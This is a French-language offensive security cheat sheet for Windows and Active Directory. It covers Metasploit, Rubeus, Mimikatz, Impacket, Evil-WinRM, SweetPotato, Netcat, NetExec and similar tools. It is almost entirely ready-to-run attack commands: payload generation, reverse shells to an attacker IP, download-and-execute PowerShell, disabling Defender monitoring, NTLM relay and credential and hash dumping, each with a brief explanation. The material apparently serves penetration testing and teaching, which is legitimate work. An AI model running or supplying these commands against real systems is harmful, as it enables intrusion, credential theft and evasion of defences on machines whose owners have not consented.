Utilisé pour générer des reverse shells et exploiter des failles connues à travers divers payloads.
Cet exemple utilise msfvenom
pour créer un exécutable Windows contenant un payload reverse shell.
Une fois exécuté sur la machine cible, il établit une connexion vers l’attaquant.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.23.11 LPORT=4444 -f exe -o shell.exe
Ensuite, on écoute la connexion avec Metasploit :
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.23.11
set LPORT 4444
exploit
Lorsque la victime exécute le fichier shell.exe
, une session Meterpreter est ouverte sur la machine de l’attaquant.
Rubeus est un outil post-exploitation puissant permettant la manipulation des tickets Kerberos. Il est utilisé pour l'extraction de tickets TGT, l'élévation de privilèges via S4U2Self/S4U2Proxy, et la délégation de TGT.
.\Rubeus.exe asktgt /user:david /password:Password123! /domain:louico.mfr /outfile:ticket.kirbi
➡️ Ce module demande un TGT en fournissant les identifiants de l’utilisateur.
.\Rubeus.exe s4u /ticket:ticket.kirbi /msdsspn:cifs/dc.louico.mfr /impersonateuser:DC$ /domain:louico.mfr /altservice:CIFS,HOST,LDAP /ptt
➡️ Ce module permet de s’authentifier en tant qu’un autre utilisateur via S4U2Self puis de faire une requête S4U2Proxy pour déléguer son identité.
.\Rubeus.exe tgtdeleg
➡️ Ce module demande un TGT avec délégation à l’aide d’un service de confiance configuré pour déléguer.
Whisker est un outil permettant de générer des certificats malveillants pour exploiter les failles des services ADCS (Active Directory Certificate Services).
whisker req -ca "http://192.168.09.10/certsrv/" -template "Machine" -altname "evil.com"
➡️ Cette commande génère un certificat malveillant en abusant d'un modèle de certificat.
whisker relay -target "http://192.168.09.10/certsrv/" -listener "http://attacker.com"
➡️ Cette commande configure un relais NTLM pour capturer les identifiants.
whisker dump -ca "http://192.168.09.10/certsrv/"
➡️ Cette commande extrait les certificats disponibles sur le serveur ADCS.
Enumération Active Directory, groupes, membres, et privilèges utilisateurs via PowerShell.
Cette attaque permet d'exécuter des commandes sur des machines distantes après avoir obtenu des privilèges adéquats, typiquement via l'abus d'appartenance à un groupe privilégié comme "Replicator".
powershell -ep bypass
iex (iwr http://192.168.23.11/PowerView.ps1 -UseBasicParsing)
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Domain painters.htb -Identity blake -AccountPassword $UserPassword -Verbose
Création d'un objet d'identification PowerShell :
$user = 'domain\user'
$passwd = 'Password123!'
$secpass = ConvertTo-SecureString $passwd -AsPlainText -Force
$cred = new-object system.management.automation.PSCredential ($user, $secpass)
Tentatives d'exécution de commandes sur les serveurs distants :
Invoke-Command -ComputerName DC -ScriptBlock {whoami} -Credential $cred
Invoke-Command -ComputerName PNT-SVRBPA -ScriptBlock {whoami} -Credential $cred
Invoke-Command -ComputerName PNT-SVRPSB -ScriptBlock {whoami} -Credential $cred
Transfert de Netcat sur la machine cible :
Invoke-Command -ComputerName PNT-SVRPSB -ScriptBlock {
mkdir c:\temp;
powershell iwr http://192.168.23.11/nc64.exe -O c:\temp\nc64.exe
} -Credential $cred
Envoi d’un reverse shell vers l’attaquant :
Invoke-Command -ComputerName PNT-SVRPSB -ScriptBlock {
c:\temp\nc64.exe 192.168.23.11 443 -e cmd.exe
} -Credential $cred
PowerMad est un module PowerShell permettant de créer des comptes machine et de manipuler les ACLs Active Directory pour des attaques de délégation de privilèges.
Import-Module .\PowerMad.ps1
New-MachineAccount -MachineAccount "NewMachine" -Password $(ConvertTo-SecureString "Password123!" -AsPlainText -Force)
➡️ Cette commande crée un compte machine nommé "NewMachine" avec un mot de passe défini.
Set-ADACL -Principal "NewMachine$" -Rights All
➡️ Cette commande attribue tous les droits au compte machine "NewMachine$".
Remove-MachineAccount -MachineAccount "NewMachine"
➡️ Cette commande supprime le compte machine "NewMachine".
Impacket est une collection de scripts Python permettant d'exploiter divers protocoles réseau comme SMB, RPC, et WinRM pour des attaques post-exploitation.
python3 smbexec.py DOMAIN/username:password@192.168.09.10/code>
➡️ Cette commande ouvre un shell interactif sur la machine cible en utilisant SMB.
python3 secretsdump.py DOMAIN/username:password@192.168.09.10
➡️ Cette commande extrait les hashes NTLM des comptes locaux et de domaine.
python3 GetUserSPNs.py DOMAIN/username:password -dc-ip 192.168.09.10
➡️ Cette commande identifie les comptes avec SPN configurés et récupère leurs tickets Kerberos.
Evil-WinRM est un shell interactif PowerShell qui permet de prendre le contrôle d'une machine Windows via WinRM. C’est l’un des outils les plus utilisés pour l'accès distant sur les systèmes Windows lors des tests d’intrusion.
evil-winrm -i 192.168.09.100 -u administrator -p 'Password123!'
➡️ Connexion au shell PowerShell distant avec mot de passe clair.
evil-winrm -i 192.168.09.100 -u administrator -k cert.pem -s key.pem
➡️ Utilisation d’un certificat et clé privée pour s’authentifier sans mot de passe.
upload shell.exe
➡️ Transfère un fichier local vers la machine distante dans le dossier courant.
Cet exemple montre comment établir une session Meterpreter depuis un shell Evil-WinRM, en générant un payload avec msfvenom et en l’exécutant sur la machine cible.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.23.11 LPORT=443 -f exe -o shell.exe
sudo msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST tun0
set LPORT 443
run
Set-MpPreference -DisableRealtimeMonitoring $true
upload shell.exe
.\shell.exe
✅ Si tout est correctement configuré, tu verras une session Meterpreter s’ouvrir dans ta console Metasploit côté attaquant.
Mimikatz est un outil puissant pour extraire des informations d'identification, comme les mots de passe en clair, les hashes NTLM, et les tickets Kerberos. Il est souvent utilisé pour des attaques post-exploitation.
privilege::debug
sekurlsa::logonpasswords
➡️ Cette commande affiche les mots de passe en clair des sessions utilisateur actives.
lsadump::sam /sam:system /system:system.hive /security:security.hive
➡️ Cette commande extrait les hashes NTLM des comptes locaux à partir des fichiers SAM et SYSTEM.
lsadump::dcsync /user:Administrator
➡️ Cette commande récupère les hashes NTLM et les mots de passe Kerberos pour un utilisateur spécifique.
SweetPotato exploite le privilège SeImpersonatePrivilege pour obtenir une élévation de privilèges sur les systèmes Windows.
SweetPotato.exe -c "cmd.exe /c whoami"
➡️ Cette commande exécute "whoami" avec des privilèges élevés, affichant "NT AUTHORITY\SYSTEM".
SweetPotato.exe -c "powershell -c \"IEX(New-Object Net.WebClient).DownloadString('http://192.168.23.11/shell.ps1')\""
➡️ Cette commande télécharge et exécute un script PowerShell pour établir un reverse shell.
PowerUpSQL est un outil d'audit SQL Server qui permet d'identifier les failles de sécurité et d'exploiter les privilèges SQL.
Get-SQLInstanceDomain | Get-SQLDatabase
➡️ Cette commande liste toutes les bases de données accessibles sur les instances SQL Server du domaine.
Invoke-SQLOSCmd -Instance "SQLSERVER01" -Command "whoami"
➡️ Cette commande exécute "whoami" sur le serveur SQL et retourne l'utilisateur exécutant le processus.
Get-SQLColumnSampleData -Instance "SQLSERVER01" -Database "master" -Table "users" -Column "password"
➡️ Cette commande extrait des échantillons de données de la colonne "password" dans la table "users".
Netcat est un outil polyvalent pour établir des connexions réseau, souvent utilisé pour les reverse shells et les transferts de fichiers.
nc -lvnp 4444
➡️ Cette commande met Netcat en mode écoute sur le port 4444, prêt à recevoir une connexion.
nc 192.168.23.11 4444 -e /bin/bash
➡️ Cette commande envoie un shell bash à l'adresse IP et au port spécifiés.
# Machine recevant le fichier
nc -l -p 1234 > received_file.txt
# Machine envoyant le fichier
nc 192.168.23.11 1234 < file_to_send.txt
➡️ Ces commandes transfèrent "file_to_send.txt" d'une machine à une autre.
NetExec (anciennement CrackMapExec) est un outil redoutable pour automatiser l'audit de sécurité des environnements Active Directory. Il permet d’effectuer des actions comme la validation de mots de passe, l’exécution de commandes à distance, l’énumération des partages SMB ou encore la récupération de données sensibles.
netexec smb 192.168.0.10/24 -u admin -p 'Password123!'
➡️ Teste les identifiants sur toutes les machines du sous-réseau via le protocole SMB.
netexec smb 192.168.0.10 -u user -p 'pass' --shares
➡️ Affiche tous les partages accessibles pour l’utilisateur fourni.
netexec smb 192.168.0.10 -u admin -p 'Password123!' --sam
➡️ Tente d’extraire les secrets SAM locaux si les droits le permettent.
netexec smb 192.168.0.10 -u admin -p 'Password123!' -x 'whoami'
➡️ Exécute la commande spécifiée sur la cible distante en utilisant les services Windows valides.